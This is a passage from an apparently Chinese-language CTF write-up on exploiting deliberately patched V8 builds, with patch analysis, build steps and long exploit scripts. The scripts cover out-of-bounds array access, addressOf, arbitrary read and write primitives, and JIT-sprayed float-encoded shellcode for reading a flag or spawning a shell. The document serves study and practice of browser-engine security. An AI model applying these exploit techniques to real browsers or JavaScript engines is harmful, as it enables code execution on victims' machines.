        array = [1.1,2.2,3.3];
        trigger(array,i,addr);
    }
 
    flag = true;
    trigger(array,0x0,addr);
    return array[0];
}
 
// var double_array_map = [
//     u64_to_f64(0x31040404001c01b5n),
//     u64_to_f64(0x0a8007ff11000844n)
// ];
 
var double_array_map_addr = 0x1cb7f9;
 
 
var fake_array = [
    lh_u32_to_f64(double_array_map_addr,0x0),
    lh_u32_to_f64(0x0,0x1000)
];
 
var fake_array_addr = addressOf(fake_array)+0x54;
 
// p(fake_array);
 
 
logg("double_array_map_addr",double_array_map_addr);
logg("fake_array_addr",fake_array_addr);
 
var fake_obj = fakeObject(fake_array_addr);
// console.log(typeof fake_obj);
 
function AAR(addr){
    fake_array[1] = lh_u32_to_f64(addr-8,0x1000);
    return f64_to_u64(fake_obj[0]);
}
 
function AAW(addr,val){
    fake_array[1] = lh_u32_to_f64(addr-8,0x1000);
    fake_obj[0] = u64_to_f64(val);
}
var code_addr = u64_to_u32_lo(AAR(shellcode_addr+0xc));
var ins_base = AAR((code_addr)+0x14);
 
 
logg("code_addr",code_addr);
logg("ins_base",ins_base);
 
AAW(code_addr+0x14,(BigInt(ins_base)+0x6bn));
 
// stop();
shellcode();
 
// spin();

level-8

环境搭建

漏洞分析里有完整的patch内容

1
2
3
4
git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
gclient sync -D
git apply < ./patch
gn gen out/release

修改编译参数

1
2
3
4
5
6
7
8
9
10
11
12
➜  current cat args.gn
# Set build arguments here. See `gn help buildargs`.
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false

接着编译

1
autoninja -C out/release d8

漏洞分析

patch里主要的变动区域在这里,发生在这个阶段simplified-lowering,这个函数的流程是与边界检查有关的,也就是类似于数组索引的操作,进入turbofan优化的时候,会调用到这个函数

主要在于下方删去了if (v8_flags.turbo_typer_hardening) 替换为if (false /*v8_flags.turbo_typer_hardening*/) ,这就意味着会直接执行到DeferReplacement(node, NodeProperties::GetValueInput(node, 0)); ,而这个语句的作用就是直接消除边界检查,那么意思就是说,一段执行过索引数组操作的代码,被turbofan优化过后,数组就不存在边界检查,也就是任意的oob

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
diff --git a/src/compiler/simplified-lowering.cc b/src/compiler/simplified-lowering.cc
index 02a53ebcc21..006351a3f08 100644
--- a/src/compiler/simplified-lowering.cc
+++ b/src/compiler/simplified-lowering.cc
@@ -1888,11 +1888,11 @@ class RepresentationSelector {
         if (lower<T>()) {
           if (index_type.IsNone() || length_type.IsNone() ||
               (index_type.Min() >= 0.0 &&
-               index_type.Max() < length_type.Min())) {
+               index_type.Min() < length_type.Min())) {
             // The bounds check is redundant if we already know that
             // the index is within the bounds of [0.0, length[.
             // TODO(neis): Move this into TypedOptimization?
-            if (v8_flags.turbo_typer_hardening) {
+            if (false /*v8_flags.turbo_typer_hardening*/) {
               new_flags |= CheckBoundsFlag::kAbortOnOutOfBounds;
             } else {
               DeferReplacement(node, NodeProperties::GetValueInput(node, 0));

完整的patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
diff --git a/src/compiler/simplified-lowering.cc b/src/compiler/simplified-lowering.cc
index 02a53ebcc21..006351a3f08 100644
--- a/src/compiler/simplified-lowering.cc
+++ b/src/compiler/simplified-lowering.cc
@@ -1888,11 +1888,11 @@ class RepresentationSelector {
         if (lower<T>()) {
           if (index_type.IsNone() || length_type.IsNone() ||
               (index_type.Min() >= 0.0 &&
-               index_type.Max() < length_type.Min())) {
+               index_type.Min() < length_type.Min())) {
             // The bounds check is redundant if we already know that
             // the index is within the bounds of [0.0, length[.
             // TODO(neis): Move this into TypedOptimization?
-            if (v8_flags.turbo_typer_hardening) {
+            if (false /*v8_flags.turbo_typer_hardening*/) {
               new_flags |= CheckBoundsFlag::kAbortOnOutOfBounds;
             } else {
               DeferReplacement(node, NodeProperties::GetValueInput(node, 0));
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index facf0d86d79..382c015bc48 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3364,7 +3364,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
  
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
+/*  global_template->Set(Symbol::GetToStringTag(isolate),
                        String::NewFromUtf8Literal(isolate, "global"));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
@@ -3385,13 +3385,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   global_template->Set(isolate, "readline",
                        FunctionTemplate::New(isolate, ReadLine));
   global_template->Set(isolate, "load",
-                       FunctionTemplate::New(isolate, ExecuteFile));
+                       FunctionTemplate::New(isolate, ExecuteFile));*/
   global_template->Set(isolate, "setTimeout",
                        FunctionTemplate::New(isolate, SetTimeout));
   // Some Emscripten-generated code tries to call 'quit', which in turn would
   // call C's exit(). This would lead to memory leaks, because there is no way
   // we can terminate cleanly then, so we need a way to hide 'quit'.
-  if (!options.omit_quit) {
+/*  if (!options.omit_quit) {
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
   }
   global_template->Set(isolate, "testRunner",
@@ -3410,7 +3410,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   if (i::v8_flags.expose_async_hooks) {
     global_template->Set(isolate, "async_hooks",
                          Shell::CreateAsyncHookTemplate(isolate));
-  }
+  }*/
  
   return global_template;
 }

漏洞利用

通过上面的分析,笔者先写了一个验证的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
var oob_array = [1.1,2.2,3.3];
var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);
 
function f2i(val){
    f64[0] = val;
    return u32[0];
}
 
function trigger(idx) {
    oob_array[idx] = f64[0];
    u32[0] = 0x41414141;
    oob_array[idx] = f64[0];
    return f2i(oob_array[idx]);
}
 
 
%OptimizeFunctionOnNextCall(trigger);
trigger(1);
 
 
%OptimizeFunctionOnNextCall(trigger);
%DebugPrint(oob_array);
console.log("oob_array[3]: 0x" + trigger(3).toString(16));

可以发现这里已经越界成功了,那么就依照这个思路去写addressof,可以凭借这里的越界读写去直接修改elements,这样就可以直接得到AAR和AAW,后面思路也是一致

比较抽象的点就是环境,因为使用了JIT Spray,所以很容易触发gc,从而导致堆布局变化,而且即使本地使用了与远程一致的docker环境,最后和远程环境还是不一样,所以需要调……(很没必要的时间,在这种问题上)
因为这个level-8的环境存在Maglev,所以不太好调,可以在d8执行参数上加上--trace-opt,观察优化的情况

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
var buf = new ArrayBuffer(8);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
var u16 = new Uint16Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
 
function lh_u32_to_f64(l,h){
    u32[0] = l;
    u32[1] = h;
    return f64[0];
}
function f64_to_u32l(val){
    f64[0] = val;
    return u32[0];
}
function f64_to_u32h(val){
    f64[0] = val;
    return u32[1];
}
function f64_to_u64(val){
    f64[0] = val;
    return u64[0];
}
function u64_to_f64(val){
    u64[0] = val;
    return f64[0];
}
 
function u64_to_u32_lo(val){
    u64[0] = val;
    return u32[0];
}
 
function u64_to_u32_hi(val){
    u64[0] = val;
    return u32[1];
}
 
 
// function stop(){
//     %SystemBreak();
// }
 
// function p(arg){
//     %DebugPrint(arg);
// }
 
// function spin(){
//     while(1){};
// }
 
function hex(str){
    return str.toString(16).padStart(16,0);
}
 
function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}
 
function gc() {
    for (let i=0;i<0x10;i++) new ArrayBuffer(0x1000000);
}
 
function js_heap_defragment() {
    gc();
    for (let i=0;i<0x1000;i++) new ArrayBuffer(0x10);
    for (let i=0;i<0x1000;i++) new Uint32Array(1);
}
 
// // catflag
const shellcode = () => {return [
    1.0,
    1.9710255944286777e-246,
    1.971136949489835e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
];}
 
// gain shell
// const shellcode = () => {return [
//     1.9553825422107533e-246,
//     1.9560612558242147e-246,
//     1.9995714719542577e-246,
//     1.9533767332674093e-246,
//     2.6348604765229606e-284
// ];}
 
for(let i = 0; i< 40000; i++){
    shellcode();
}
 
var double_map_addr = 0x1cb7f9;
 
function addressOf(object){
    function oob_write(idx,object_){
        let victim_array = [1.1];
        let obj = [object_];
 
        // 这个运算可以影响对布局,但是原因未知
        idx= idx & 0xff;
 
        victim_array[idx] = lh_u32_to_f64(f64_to_u32l(victim_array[idx]),double_map_addr);
 
        return [victim_array,obj,object_];
    }
 
    for (let i = 0; i < 0x100000; i++) {
        oob_write(0,object);
    }
    let temp = oob_write(4,object);
    let oob_array = temp[1];
    // p(temp);
    // p(oob_array);
 
    return f64_to_u32l(oob_array[0]);
}
 
 
var shellcode_addr = addressOf(shellcode);
logg("shellcode_addr",shellcode_addr);
 
function AAR(addr){
 
    function oob_write(idx,addr_){
        for(let i=0; i < 1000000; i++);
        let victim_array = [1.1];
        idx= idx & 0xff;
 
        f64[0] = victim_array[idx];
        u32[0] = addr_;
        victim_array[idx] = f64[0];
        // victim_array[idx] = lh_u32_to_f64(addr_,0x1000);
        return victim_array;
    }
 
    for (let i = 0; i < 1000; i++) {
        oob_write(0,addr);
    }
    let temp = oob_write(0x2,addr-8);
    // p(temp);
    return f64_to_u64(temp[0]);
}
 
 
 
// p(shellcode);
var code_addr = u64_to_u32_lo(AAR(shellcode_addr+0xc));
var ins_base = AAR((code_addr)+0x14);
var offset = 0x7en
 
logg("code_addr",code_addr);
logg("ins_base",ins_base);
logg("rop_base",((ins_base)+offset));
 
function AAW(addr,val){
 
    function oob_write(idx,addr_){
        for(let i=0; i < 1000000; i++);
        let victim_array = [1.1];
        idx= idx & 0xff;
 
        f64[0] = victim_array[idx];
        u32[0] = addr_;
        victim_array[idx] = f64[0];
        // victim_array[idx] = lh_u32_to_f64(addr_,0x1000);
        return victim_array;
    }
 
    for (let i = 0; i < 1000; i++) {
        oob_write(0,addr);
    }
    let temp = oob_write(0x2,addr-8);
    temp[0] = u64_to_f64(val);
    // p(temp);
}
 
 
AAW(code_addr+0x14,(BigInt(ins_base)+offset))
 
// stop();
shellcode();
 
// spin();

环境太几把玄学了。

level-9

环境搭建

漏洞分析里有完整的patch内容

1
2
3
4
git reset --hard f5e412a1cd82fb606b79a587f1c4bda7f9445701
gclient sync -D
git apply < ./patch
gn gen out/release

修改编译参数

1
2
3
4
5
6
7
8
9
➜  release git:(9.9.5) ✗ cat args.gn      
# Set build arguments here. See `gn help buildargs`.
dcheck_always_on = false
is_debug = false
is_component_build = false
target_cpu = "x64"
v8_enable_object_print = true
v8_enable_disassembler = true
v8_enable_backtrace = true                                                                                                                                              ➜  release git:(9.9.5) ✗

接着编译

1
autoninja -C out/release d8

漏洞分析

从编译参数里可以发现这次没有v8_enable_sandbox = false,因此是开启了沙箱

这个patch的内容其实是高版本v8引入的一个api的部分方法,主要用于测试沙箱逃逸的api,开启之后相当于拥有了对于沙箱内地址任意修改的能力,最新版本的api功能可以查看src/sandbox 目录下的源码。

这道题目开启了如下所示的四个方法

注释里是使用方法,这里返回了sandbox的大小

1
2
3
4
5
6
// Sandbox.byteLength
void SandboxGetByteLength(const v8::FunctionCallbackInfo<v8::Value>& args) {
  v8::Isolate* isolate = args.GetIsolate();
  double sandbox_size = GetProcessWideSandbox()->size();
  args.GetReturnValue().Set(v8::Number::New(isolate, sandbox_size));
}

这个方法提供了一个[addr,addr+offset]的内存任意读写的能力,但是范围限定在了沙箱内,从这段代码可以看出来(offset > sandbox->size() || size > sandbox->size() || (offset + size) > sandbox->size())

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// new Sandbox.MemoryView(args) -> Sandbox.MemoryView
void SandboxMemoryView(const v8::FunctionCallbackInfo<v8::Value>& args) {
  v8::Isolate* isolate = args.GetIsolate();
  Local<v8::Context> context = isolate->GetCurrentContext();
 
  if (!args.IsConstructCall()) {
    isolate->ThrowError("Sandbox.MemoryView must be invoked with 'new'");
    return;
  }
 
  Local<v8::Integer> arg1, arg2;
  if (!args[0]->ToInteger(context).ToLocal(&arg1) ||
      !args[1]->ToInteger(context).ToLocal(&arg2)) {
    isolate->ThrowError("Expects two number arguments (start offset and size)");
    return;
  }
 
  Sandbox* sandbox = GetProcessWideSandbox();
  CHECK_LE(sandbox->size(), kMaxSafeIntegerUint64);
 
  uint64_t offset = arg1->Value();
  uint64_t size = arg2->Value();
  if (offset > sandbox->size() || size > sandbox->size() ||
      (offset + size) > sandbox->size()) {
    isolate->ThrowError(
        "The MemoryView must be entirely contained within the sandbox");
    return;
  }
 
  Factory* factory = reinterpret_cast<Isolate*>(isolate)->factory();
  std::unique_ptr<BackingStore> memory = BackingStore::WrapAllocation(
      reinterpret_cast<void*>(sandbox->base() + offset), size,
      v8::BackingStore::EmptyDeleter, nullptr, SharedFlag::kNotShared);
  if (!memory) {
    isolate->ThrowError("Out of memory: MemoryView backing store");
    return;
  }
  Handle<JSArrayBuffer> buffer = factory->NewJSArrayBuffer(std::move(memory));
  args.GetReturnValue().Set(Utils::ToLocal(buffer));
}

这个就是获取obj的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// Sandbox.getAddressOf(object) -> Number
void SandboxGetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& args) {
  v8::Isolate* isolate = args.GetIsolate();
 
  if (args.Length() == 0) {
    isolate->ThrowError("First argument must be provided");
    return;
  }
 
  Handle<Object> arg = Utils::OpenHandle(*args[0]);
  if (!arg->IsHeapObject()) {
    isolate->ThrowError("First argument must be a HeapObject");
    return;
  }
 
  // HeapObjects must be allocated inside the pointer compression cage so their
  // address relative to the start of the sandbox can be obtained simply by
  // taking the lowest 32 bits of the absolute address.
  uint32_t address = static_cast<uint32_t>(HeapObject::cast(*arg).address());
  args.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));
}

下面是获取obj的size

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// Sandbox.getSizeOf(object) -> Number
void SandboxGetSizeOf(const v8::FunctionCallbackInfo<v8::Value>& args) {
  v8::Isolate* isolate = args.GetIsolate();
 
  if (args.Length() == 0) {
    isolate->ThrowError("First argument must be provided");
    return;
  }
 
  Handle<Object> arg = Utils::OpenHandle(*args[0]);
  if (!arg->IsHeapObject()) {
    isolate->ThrowError("First argument must be a HeapObject");
    return;
  }
 
  int size = HeapObject::cast(*arg).Size();
  args.GetReturnValue().Set(v8::Integer::New(isolate, size));
}

完整的patch内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
diff --git a/BUILD.bazel b/BUILD.bazel
index 3d37f45cede..584701ef478 100644
--- a/BUILD.bazel
+++ b/BUILD.bazel
@@ -1921,6 +1921,8 @@ filegroup(
         "src/sandbox/external-pointer.h",
         "src/sandbox/external-pointer-table.cc",
         "src/sandbox/external-pointer-table.h",
+    "src/sandbox/testing.cc",
+    "src/sandbox/testing.h",
         "src/sandbox/sandbox.cc",
         "src/sandbox/sandbox.h",
         "src/sandbox/sandboxed-pointer-inl.h",
diff --git a/BUILD.gn b/BUILD.gn
index 7ef8c1f2e06..d0538db38c3 100644
--- a/BUILD.gn
+++ b/BUILD.gn
@@ -304,18 +304,18 @@ declare_args() {
  
   # Enable the experimental V8 sandbox.
   # Sets -DV8_SANDBOX.
-  v8_enable_sandbox = false
+  v8_enable_sandbox = true
  
   # Enable external pointer sandboxing. Requires v8_enable_sandbox.
   # Sets -DV8_SANDBOXED_EXTERNAL_POINRTERS.
-  v8_enable_sandboxed_external_pointers = false
+  v8_enable_sandboxed_external_pointers = true
  
   # Enable sandboxed pointers. Requires v8_enable_sandbox.
   # Sets -DV8_SANDBOXED_POINTERS.
-  v8_enable_sandboxed_pointers = false
+  v8_enable_sandboxed_pointers = true
  
   # Enable all available sandbox features. Implies v8_enable_sandbox.
-  v8_enable_sandbox_future = false
+  v8_enable_sandbox_future = true
  
   # Experimental feature for collecting per-class zone memory stats.
   # Requires use_rtti = true
@@ -3332,6 +3332,7 @@ v8_header_set("v8_internal_headers") {
     "src/sandbox/sandbox.h",
     "src/sandbox/sandboxed-pointer-inl.h",
     "src/sandbox/sandboxed-pointer.h",
+    "src/sandbox/testing.h",
     "src/snapshot/code-serializer.h",
     "src/snapshot/context-deserializer.h",
     "src/snapshot/context-serializer.h",
@@ -4353,6 +4354,7 @@ v8_source_set("v8_base_without_compiler") {
     "src/runtime/runtime.cc",
     "src/sandbox/external-pointer-table.cc",
     "src/sandbox/sandbox.cc",
+    "src/sandbox/testing.cc",
     "src/snapshot/code-serializer.cc",
     "src/snapshot/context-deserializer.cc",
     "src/snapshot/context-serializer.cc",
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 050cbdc78df..061379666a8 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -2860,7 +2860,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(Isolate* isolate) {
  
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
+/*  global_template->Set(Symbol::GetToStringTag(isolate),
                        String::NewFromUtf8Literal(isolate, "global"));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
@@ -2877,13 +2877,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   global_template->Set(isolate, "readline",
                        FunctionTemplate::New(isolate, ReadLine));
   global_template->Set(isolate, "load",
-                       FunctionTemplate::New(isolate, ExecuteFile));
+                       FunctionTemplate::New(isolate, ExecuteFile));*/
   global_template->Set(isolate, "setTimeout",
                        FunctionTemplate::New(isolate, SetTimeout));
   // Some Emscripten-generated code tries to call 'quit', which in turn would
   // call C's exit(). This would lead to memory leaks, because there is no way
   // we can terminate cleanly then, so we need a way to hide 'quit'.
-  if (!options.omit_quit) {
+/*  if (!options.omit_quit) {
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
   }
   global_template->Set(isolate, "testRunner",
@@ -2909,7 +2909,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   if (i::FLAG_expose_async_hooks) {
     global_template->Set(isolate, "async_hooks",
                          Shell::CreateAsyncHookTemplate(isolate));
-  }
+  }*/
  
   return global_template;
 }
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 16015435073..ecd1fbb4116 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -24,6 +24,7 @@
 #include "src/logging/runtime-call-stats-scope.h"
 #include "src/objects/instance-type.h"
 #include "src/objects/objects.h"
+#include "src/sandbox/testing.h"
 #ifdef ENABLE_VTUNE_TRACEMARK
 #include "src/extensions/vtunedomain-support-extension.h"
 #endif  // ENABLE_VTUNE_TRACEMARK
@@ -5694,6 +5695,10 @@ bool Genesis::InstallSpecialObjects(Isolate* isolate,
   }
 #endif  // V8_ENABLE_WEBASSEMBLY
  
+  if (GetProcessWideSandbox()->is_initialized()) {
+    MemoryCorruptionApi::Install(isolate);
+  }
+
   return true;
 }
  
diff --git a/src/sandbox/testing.cc b/src/sandbox/testing.cc
new file mode 100644
index 00000000000..327fd33588d
--- /dev/null
+++ b/src/sandbox/testing.cc
@@ -0,0 +1,194 @@
+// Copyright 2022 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "src/sandbox/testing.h"
+
+#include "src/api/api-inl.h"
+#include "src/api/api-natives.h"
+#include "src/common/globals.h"
+#include "src/execution/isolate-inl.h"
+#include "src/heap/factory.h"
+#include "src/objects/backing-store.h"
+#include "src/objects/js-objects.h"
+#include "src/objects/templates.h"
+#include "src/sandbox/sandbox.h"
+
+namespace v8 {
+namespace internal {
+
+//#ifdef V8_EXPOSE_MEMORY_CORRUPTION_API
+
+namespace {
+
+// Sandbox.byteLength
+void SandboxGetByteLength(const v8::FunctionCallbackInfo<v8::Value>& args) {
+  v8::Isolate* isolate = args.GetIsolate();
+  double sandbox_size = GetProcessWideSandbox()->size();
+  args.GetReturnValue().Set(v8::Number::New(isolate, sandbox_size));
+}
+
+// new Sandbox.MemoryView(args) -> Sandbox.MemoryView
+void SandboxMemoryView(const v8::FunctionCallbackInfo<v8::Value>& args) {
+  v8::Isolate* isolate = args.GetIsolate();
+  Local<v8::Context> context = isolate->GetCurrentContext();
+
+  if (!args.IsConstructCall()) {
+    isolate->ThrowError("Sandbox.MemoryView must be invoked with 'new'");
+    return;
+  }
+
+  Local<v8::Integer> arg1, arg2;
+  if (!args[0]->ToInteger(context).ToLocal(&arg1) ||
+      !args[1]->ToInteger(context).ToLocal(&arg2)) {
+    isolate->ThrowError("Expects two number arguments (start offset and size)");
+    return;
+  }
+
+  Sandbox* sandbox = GetProcessWideSandbox();
+  CHECK_LE(sandbox->size(), kMaxSafeIntegerUint64);
+
+  uint64_t offset = arg1->Value();
+  uint64_t size = arg2->Value();
+  if (offset > sandbox->size() || size > sandbox->size() ||
+      (offset + size) > sandbox->size()) {
+    isolate->ThrowError(
+        "The MemoryView must be entirely contained within the sandbox");
+    return;
+  }
+
+  Factory* factory = reinterpret_cast<Isolate*>(isolate)->factory();
+  std::unique_ptr<BackingStore> memory = BackingStore::WrapAllocation(
+      reinterpret_cast<void*>(sandbox->base() + offset), size,
+      v8::BackingStore::EmptyDeleter, nullptr, SharedFlag::kNotShared);
+  if (!memory) {
+    isolate->ThrowError("Out of memory: MemoryView backing store");
+    return;
+  }
+  Handle<JSArrayBuffer> buffer = factory->NewJSArrayBuffer(std::move(memory));
+  args.GetReturnValue().Set(Utils::ToLocal(buffer));
+}
+
+// Sandbox.getAddressOf(object) -> Number
+void SandboxGetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& args) {
+  v8::Isolate* isolate = args.GetIsolate();
+
+  if (args.Length() == 0) {
+    isolate->ThrowError("First argument must be provided");
+    return;
+  }
+
+  Handle<Object> arg = Utils::OpenHandle(*args[0]);
+  if (!arg->IsHeapObject()) {
+    isolate->ThrowError("First argument must be a HeapObject");
+    return;
+  }
+
+  // HeapObjects must be allocated inside the pointer compression cage so their
+  // address relative to the start of the sandbox can be obtained simply by
+  // taking the lowest 32 bits of the absolute address.
+  uint32_t address = static_cast<uint32_t>(HeapObject::cast(*arg).address());
+  args.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));
+}
+
+// Sandbox.getSizeOf(object) -> Number
+void SandboxGetSizeOf(const v8::FunctionCallbackInfo<v8::Value>& args) {
+  v8::Isolate* isolate = args.GetIsolate();
+
+  if (args.Length() == 0) {
+    isolate->ThrowError("First argument must be provided");
+    return;
+  }
+
+  Handle<Object> arg = Utils::OpenHandle(*args[0]);
+  if (!arg->IsHeapObject()) {
+    isolate->ThrowError("First argument must be a HeapObject");
+    return;
+  }
+
+  int size = HeapObject::cast(*arg).Size();
+  args.GetReturnValue().Set(v8::Integer::New(isolate, size));
+}
+
+Handle<FunctionTemplateInfo> NewFunctionTemplate(
+    Isolate* isolate, FunctionCallback func,
+    ConstructorBehavior constructor_behavior) {
+  // Use the API functions here as they are more convenient to use.
+  v8::Isolate* api_isolate = reinterpret_cast<v8::Isolate*>(isolate);
+  Local<FunctionTemplate> function_template =
+      FunctionTemplate::New(api_isolate, func, {}, {}, 0, constructor_behavior,
+                            SideEffectType::kHasSideEffect);
+  return v8::Utils::OpenHandle(*function_template);
+}
+
+Handle<JSFunction> CreateFunc(Isolate* isolate, FunctionCallback func,
+                              Handle<String> name, bool is_constructor) {
+  ConstructorBehavior constructor_behavior = is_constructor
+                                                 ? ConstructorBehavior::kAllow
+                                                 : ConstructorBehavior::kThrow;
+  Handle<FunctionTemplateInfo> function_template =
+      NewFunctionTemplate(isolate, func, constructor_behavior);
+  return ApiNatives::InstantiateFunction(function_template, name)
+      .ToHandleChecked();
+}
+
+void InstallFunc(Isolate* isolate, Handle<JSObject> holder,
+                 FunctionCallback func, const char* name, int num_parameters,
+                 bool is_constructor) {
+  Factory* factory = isolate->factory();
+  Handle<String> function_name = factory->NewStringFromAsciiChecked(name);
+  Handle<JSFunction> function =
+      CreateFunc(isolate, func, function_name, is_constructor);
+  function->shared().set_length(num_parameters);
+  JSObject::AddProperty(isolate, holder, function_name, function, NONE);
+}
+
+void InstallGetter(Isolate* isolate, Handle<JSObject> object,
+                   FunctionCallback func, const char* name) {
+  Factory* factory = isolate->factory();
+  Handle<String> property_name = factory->NewStringFromAsciiChecked(name);
+  Handle<JSFunction> getter = CreateFunc(isolate, func, property_name, false);
+  Handle<Object> setter = factory->null_value();
+  JSObject::DefineAccessor(object, property_name, getter, setter, FROZEN);
+}
+
+void InstallFunction(Isolate* isolate, Handle<JSObject> holder,
+                     FunctionCallback func, const char* name,
+                     int num_parameters) {
+  InstallFunc(isolate, holder, func, name, num_parameters, false);
+}
+
+void InstallConstructor(Isolate* isolate, Handle<JSObject> holder,
+                        FunctionCallback func, const char* name,
+                        int num_parameters) {
+  InstallFunc(isolate, holder, func, name, num_parameters, true);
+}
+
+}  // namespace
+
+// static
+void MemoryCorruptionApi::Install(Isolate* isolate) {
+  CHECK(GetProcessWideSandbox()->is_initialized());
+
+  Factory* factory = isolate->factory();
+
+  // Create the special Sandbox object that provides read/write access to the
+  // sandbox address space alongside other miscellaneous functionality.
+  Handle<JSObject> sandbox =
+      factory->NewJSObject(isolate->object_function(), AllocationType::kOld);
+
+  InstallGetter(isolate, sandbox, SandboxGetByteLength, "byteLength");
+  InstallConstructor(isolate, sandbox, SandboxMemoryView, "MemoryView", 2);
+  InstallFunction(isolate, sandbox, SandboxGetAddressOf, "getAddressOf", 1);
+  InstallFunction(isolate, sandbox, SandboxGetSizeOf, "getSizeOf", 1);
+
+  // Install the Sandbox object as property on the global object.
+  Handle<JSGlobalObject> global = isolate->global_object();
+  Handle<String> name = factory->NewStringFromAsciiChecked("Sandbox");
+  JSObject::AddProperty(isolate, global, name, sandbox, DONT_ENUM);
+}
+
+//#endif  // V8_EXPOSE_MEMORY_CORRUPTION_API
+
+}  // namespace internal
+}  // namespace v8
diff --git a/src/sandbox/testing.h b/src/sandbox/testing.h
new file mode 100644
index 00000000000..0c30397c3c5
--- /dev/null
+++ b/src/sandbox/testing.h
@@ -0,0 +1,28 @@
+// Copyright 2022 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef V8_SANDBOX_TESTING_H_
+#define V8_SANDBOX_TESTING_H_
+
+#include "src/common/globals.h"
+
+namespace v8 {
+namespace internal {
+
+//#ifdef V8_EXPOSE_MEMORY_CORRUPTION_API
+// A JavaScript API that emulates typical exploit primitives.
+//
+// This can be used for testing the sandbox, for example to write regression
+// tests for bugs in the sandbox or to develop fuzzers.
+class MemoryCorruptionApi {
+ public:
